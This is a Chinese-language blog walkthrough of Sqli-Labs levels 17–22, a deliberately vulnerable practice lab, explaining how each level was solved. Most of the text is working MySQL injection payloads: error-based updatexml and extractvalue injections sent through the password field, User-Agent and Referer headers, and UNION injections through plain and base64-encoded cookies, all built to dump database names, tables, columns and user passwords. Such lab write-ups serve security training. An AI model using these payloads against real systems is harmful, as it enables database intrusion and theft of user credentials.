• Sqli-Labs 闯关 less 17-22


    Less 17 

    这一关和前面的还不一样,经过单引号,双引号以及变形,我发现不管怎么样都没有得出我们想要的结果。

    我们查百度,发现MYSQL updatexml()函数报错注入解析,我的理解就是updatexml函数具有查询功能 并且会再xpath处查询 你将语法构造错误 然后它就会将他查询的结果已报错的形式显示出来。

      函数解释:http://www.blogjava.net/chenpengyi/archive/2006/07/11/57578.html

                        https://www.jb51.net/article/125599.htm

     查库:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata  limit 5,1),0x7e),1)#&submit=Submit

    查表:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'  limit 3,1),0x7e),1)#&submit=Submit

    查列:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'  limit 4,1),0x7e),1)#&submit=Submit

     查字段:uname=admin&passwd=a'  and  updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1) test ),0x7e),1) --+&submit=Submit

     

    注意:这里之所以使用两层select,是因为如果不这么用就会报错。意思是不能select出同一表中的某些值,这是再用一个select中间一下就可以了

    Less 18

     这关是基于报错注入,在这一关中 ,完善了上一关对password的转义和过滤。

    登陆成功显示ip地址和浏览器版本信息,登陆失败只显示ip地址。这关我们就要用burp抓包神器了

    我们先输入一个admin,admin。。

     

    把这句话换成我们想要的查询语句,和第12关的语句基本一样。在数据包的headers部分修改user-agent构造注入语句

     

     

    现在 查数据库:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and'

     获得数据库表:'and extractvalue (1,concat(0x7e,(select group_concat(table_name) from information_schema,tables where table_schema=database()),0x7e)) and'

     获得列名:'and extractvalue (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e)) and'

     获得用户名密码:'and extractvalue (1,concat(0x7e,(select group_concat(username,'~',password) from users),0x7e)) and'

    Less 19

    这一关和上关也是类似,登陆成功返回的信息变成了referer,就是把上一关agent换成了referer。

    获得库名:‘and extractvalue(1,concat(0x7e,(select database()),0x7e)) and'

     之后的步骤跟18题一样。。。

    Less 20

     照常,先输入用户名密码测试一下。。。发现是关于cookie值的进行注入

    20关成功登陆之后会产生cookie,作为下次登陆的凭证。

     

     查列数:uname=admin' order by 3--+

     

    获得数据库名:uname='union select 1,2,group_concat(schema_name)from information_schema.schemata#

     爆表:uname='union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'#

     

     爆列:uname='union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'#

     

     爆用户名密码:uname='union select 1,2,group_concat(concat_ws('-',username,password))from security.users#

    这关其实跟第一关的payload一样。。

    Less 21

    我们还是像往常一样,输入用户名密码。然后抓包

     

     我们发现cookie的值变成了一堆字母数字,内容变成加密的形式。

    我百度了一下发现可以用 ttps://tool.oschina.net/encrypt?type=3,这个网站进行转码。

    判断当数据库:')union select 1,2,database()#(Jyl1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj)

     获得用户名密码:')union select 1,2,group_concat(concat_ws('-',username,password))from security.users#

    转码后(Jyl1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdChjb25jYXRfd3MoJy0nLHVzZXJuYW1lLHBhc3N3b3JkKSlmcm9tIHNlY3VyaXR5LnVzZXJzIw==)

     中间过程省略了。跟上题一样,就是要转码。

    Less 22

    我们测试得到,与21关闭合的不一样,这一关为双引号闭合 "", 其他的都和上一关一样。

  • 相关阅读:
    MGR集群中节点间数据一致性如何检查?
    MySQL错误日志出现 [Note] InnoDB: Discarding tablespace of table db.table: Data structure corruption产生可能的原因及解决办法?
    Redis中如何发现并优化生产环境的big key?
    HashHelper
    设计模式-结构型-组合模式
    设计模式-结构型-享元模式
    设计模式-结构型-外观模式
    泛型Generic
    Redis之缓存雪崩、缓存穿透、缓存预热、缓存更新、缓存降级
    设计模式-结构型-装饰者模式
  • 原文地址:https://www.cnblogs.com/qi-yuan/p/12253842.html
Copyright © 2020-2023  润新知